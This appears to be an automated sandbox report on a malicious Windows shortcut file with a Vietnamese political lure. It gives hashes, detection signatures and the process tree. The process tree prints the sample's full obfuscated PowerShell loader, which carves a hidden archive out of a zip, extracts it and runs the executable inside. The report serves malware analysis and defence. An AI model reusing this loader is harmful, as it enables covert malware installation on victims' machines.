Analysis
- max time kernel
149s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
21/04/2026, 06:36
Static task
static1
Behavioral task
behavioral1
Sample
Tin A5 chào xã giao Chủ tịch Hun Sen.lnk
Resource
win10v2004-20260130-en
5 signatures
150 seconds
Behavioral task
behavioral2
Sample
Tin A5 chào xã giao Chủ tịch Hun Sen.lnk
Resource
win11-20260130-en
4 signatures
150 seconds
General
- Target Tin A5 chào xã giao Chủ tịch Hun Sen.lnk
- Size 2KB
- Sample260421-hdan8aax4k
- SHA256 be16ab2614852b993453bd3ea5066133155d5e5f09f3b2baccf57a9dbf54fd2c
- MD5 3dba86749e67a7d3b1c639eeee1080da
- SHA1 63b6731ec5ebf92ba0d9039f625b79bc678188f4
- SHA512 97b46cf64a32922f975c3c00714e5c2e864745631627e3cc35f81e8eab94c9a49abac9d642ef43cf8b40954e4ab47fb5a58b70d3601d8bdcdee7c645e871ff9b
- TLSH T13351AB1156F65308E6B34E35AC7B7362867BBAA1DA75C74E310C90050FA2600E877F3B
- MD5 SHA1 SHA512 TLSH
Score
7/10
Malware Config
Signatures
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000\Control Panel\International\Geo\Nation cmd.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 5400 powershell.exe 5400 powershell.exe 4828 powershell.exe 4828 powershell.exe - Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 5400 powershell.exe Token: SeDebugPrivilege 4828 powershell.exe - Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 4868 wrote to memory of 5400 4868 cmd.exe 85 PID 5400 wrote to memory of 5060 5400 powershell.exe 86 PID 5400 wrote to memory of 4828 5400 powershell.exe 87
Processes
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C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\Tin A5 chào xã giao Chủ tịch Hun Sen.lnk"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4868 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w H ";$irgqdfyxb = (ls -Pa $Home -Re -in 'Tin A5 chào x? giao Ch? t?ch Hun Sen.zip')[0].fullname;$qrvfuqsezoq = [SyStem.IO.File]::OpenReAd($irgqdfyxb); $fft='wRI'+'teAlL'+'bYtEs';$foolpsny = NeW-ObjEct byte[] $qrvfuqsezoq.Length; $qrvfuqsezoq.Read($foolpsny, 0, $foolpsny.Length); $qrvfuqsezoq.Close();$vdzywjadena=1144; ;;[SySTem.IO.FIle]::$fft($Env:LocalAppdata+'\\nismyjusj.vo', $foolpsny[$vdzywjadena..($vdzywjadena+686592-1)]);;tAR -xvf $Env:LocalAppdata\nismyjusj.vo -C $Env:LocalAppdata;Sleep -Seconds 4;powershell $Env:LocalAppdata\43OZ1LSA-M5GN-5TIS-ELUJ-IWP8UGQAUSCE\CNMNSST.exe;2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5400 -
C:\Windows\system32\tar.exe"C:\Windows\system32\tar.exe" -xvf C:\Users\Admin\AppData\Local\nismyjusj.vo -C C:\Users\Admin\AppData\Local3⤵PID:5060
-
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\Users\Admin\AppData\Local\43OZ1LSA-M5GN-5TIS-ELUJ-IWP8UGQAUSCE\CNMNSST.exe3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4828
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
- MD5 d85ba6ff808d9e5444a4b369f5bc2730
- SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
- SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
- TLSH T1CE51EE323375B1E888167F071E681A8053BF4355EA94AF1CB698621ED93641B9F222F3
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 240B
- SHA256 871b976ce7d6f823086a4e1ccfa7a1b50716ce2dcc181bd21ab131f6936b2c42
- MD5 85ca17be78fbcc72b5cf56ed00130e02
- SHA1 6053390991153bc2e20ecd61e57b08fdd2ce8c83
- SHA512 b41f000681585827574f7cb140f0cc802299ca835099f68696c847bbb48c9286e1ac389822852f3b91db53ee6a7e5470a2ac209a5b250a4684613b7966087fad
- TLSH T161D08060F774D420C9D1567CC04D6511B71989738483EE677E48C138A5774C5DB717E0
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vzg4by3n.ug0.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH